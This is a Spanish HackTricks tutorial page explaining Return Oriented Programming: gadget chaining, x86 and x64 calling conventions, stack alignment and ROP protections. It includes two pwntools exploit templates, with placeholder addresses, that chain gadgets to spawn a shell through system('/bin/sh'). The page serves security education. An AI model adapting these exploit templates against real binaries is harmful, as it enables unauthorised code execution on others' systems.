ROP - Return Oriented Programing

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Información Básica

Programación Orientada a Retornos (ROP) es una técnica de explotación avanzada utilizada para eludir medidas de seguridad como No-Execute (NX) o Prevención de Ejecución de Datos (DEP). En lugar de inyectar y ejecutar shellcode, un atacante aprovecha fragmentos de código ya presentes en el binario o en bibliotecas cargadas, conocidos como "gadgets". Cada gadget generalmente termina con una instrucción ret y realiza una pequeña operación, como mover datos entre registros o realizar operaciones aritméticas. Al encadenar estos gadgets, un atacante puede construir una carga útil para realizar operaciones arbitrarias, eludiendo efectivamente las protecciones NX/DEP.

Cómo Funciona ROP

  1. Secuestro del Flujo de Control: Primero, un atacante necesita secuestrar el flujo de control de un programa, típicamente explotando un desbordamiento de búfer para sobrescribir una dirección de retorno guardada en la pila.

  2. Encadenamiento de Gadgets: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, system("/bin/sh")), y manejar cualquier limpieza o operaciones adicionales necesarias.

  3. Ejecución de la Carga Útil: Cuando la función vulnerable retorna, en lugar de regresar a una ubicación legítima, comienza a ejecutar la cadena de gadgets.

Herramientas

Típicamente, los gadgets se pueden encontrar usando ROPgadget, ropper o directamente desde pwntools (ROP).

Ejemplo de Cadena ROP en x86

Convenciones de Llamada x86 (32-bit)

  • cdecl: El llamador limpia la pila. Los argumentos de la función se empujan en la pila en orden inverso (de derecha a izquierda). Los argumentos se empujan en la pila de derecha a izquierda.

  • stdcall: Similar a cdecl, pero el llamado es responsable de limpiar la pila.

Encontrando Gadgets

Primero, supongamos que hemos identificado los gadgets necesarios dentro del binario o sus bibliotecas cargadas. Los gadgets que nos interesan son:

  • pop eax; ret: Este gadget saca el valor superior de la pila en el registro EAX y luego retorna, permitiéndonos controlar EAX.

  • pop ebx; ret: Similar al anterior, pero para el registro EBX, habilitando el control sobre EBX.

  • mov [ebx], eax; ret: Mueve el valor en EAX a la ubicación de memoria apuntada por EBX y luego retorna. Esto se llama a menudo un gadget de escritura-qué-dónde.

  • Además, tenemos la dirección de la función system() disponible.

Cadena ROP

Usando pwntools, preparamos la pila para la ejecución de la cadena ROP de la siguiente manera, con el objetivo de ejecutar system('/bin/sh'), nota cómo la cadena comienza con:

  1. Una instrucción ret para propósitos de alineación (opcional)

  2. Dirección de la función system (suponiendo ASLR desactivado y libc conocida, más información en Ret2lib)

  3. Marcador de posición para la dirección de retorno de system()

  4. Dirección de la cadena "/bin/sh" (parámetro para la función system)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Cadena ROP en x64 Ejemplo

x64 (64-bit) Convenciones de llamada

  • Utiliza la convención de llamada System V AMD64 ABI en sistemas similares a Unix, donde los primeros seis argumentos enteros o punteros se pasan en los registros RDI, RSI, RDX, RCX, R8 y R9. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en RAX.

  • La convención de llamada Windows x64 utiliza RCX, RDX, R8 y R9 para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en RAX.

  • Registros: Los registros de 64 bits incluyen RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP y R8 a R15.

Encontrando Gadgets

Para nuestro propósito, centrémonos en gadgets que nos permitan establecer el registro RDI (para pasar la cadena "/bin/sh" como argumento a system()) y luego llamar a la función system(). Supondremos que hemos identificado los siguientes gadgets:

  • pop rdi; ret: Extrae el valor superior de la pila en RDI y luego retorna. Esencial para establecer nuestro argumento para system().

  • ret: Un retorno simple, útil para la alineación de la pila en algunos escenarios.

Y sabemos la dirección de la función system().

Cadena ROP

A continuación se muestra un ejemplo utilizando pwntools para configurar y ejecutar una cadena ROP con el objetivo de ejecutar system('/bin/sh') en x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

En este ejemplo:

  • Utilizamos el gadget pop rdi; ret para establecer RDI en la dirección de "/bin/sh".

  • Saltamos directamente a system() después de establecer RDI, con la dirección de system() en la cadena.

  • Se utiliza ret_gadget para la alineación si el entorno objetivo lo requiere, lo cual es más común en x64 para asegurar una alineación adecuada de la pila antes de llamar a funciones.

Alineación de la Pila

El ABI x86-64 asegura que la pila esté alineada a 16 bytes cuando se ejecuta una instrucción de llamada. LIBC, para optimizar el rendimiento, utiliza instrucciones SSE (como movaps) que requieren esta alineación. Si la pila no está alineada correctamente (lo que significa que RSP no es un múltiplo de 16), las llamadas a funciones como system fallarán en una cadena ROP. Para solucionar esto, simplemente agrega un gadget ret antes de llamar a system en tu cadena ROP.

Diferencia principal entre x86 y x64

Dado que x64 utiliza registros para los primeros argumentos, a menudo requiere menos gadgets que x86 para llamadas a funciones simples, pero encontrar y encadenar los gadgets correctos puede ser más complejo debido al mayor número de registros y al espacio de direcciones más grande. El mayor número de registros y el espacio de direcciones más grande en la arquitectura x64 ofrecen tanto oportunidades como desafíos para el desarrollo de exploits, especialmente en el contexto de la Programación Orientada a Retornos (ROP).

Ejemplo de cadena ROP en ARM64

Conceptos básicos de ARM64 y convenciones de llamada

Consulta la siguiente página para esta información:

Introduction to ARM64v8

Protecciones contra ROP

  • ASLR y PIE: Estas protecciones dificultan el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones.

  • Canarios de Pila: En caso de un BOF, es necesario eludir el almacenamiento del canario de pila para sobrescribir punteros de retorno y abusar de una cadena ROP.

  • Falta de Gadgets: Si no hay suficientes gadgets, no será posible generar una cadena ROP.

Técnicas basadas en ROP

Ten en cuenta que ROP es solo una técnica para ejecutar código arbitrario. Basado en ROP se desarrollaron muchas técnicas Ret2XXX:

  • Ret2lib: Usa ROP para llamar a funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (generalmente algo como system('/bin/sh').

Ret2lib
  • Ret2Syscall: Usa ROP para preparar una llamada a una syscall, por ejemplo, execve, y hacer que ejecute comandos arbitrarios.

Ret2syscall
  • EBP2Ret y EBP Chaining: El primero abusará de EBP en lugar de EIP para controlar el flujo y el segundo es similar a Ret2lib, pero en este caso el flujo se controla principalmente con direcciones de EBP (aunque también es necesario controlar EIP).

Stack Pivoting - EBP2Ret - EBP chaining

Otros Ejemplos y Referencias

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Last updated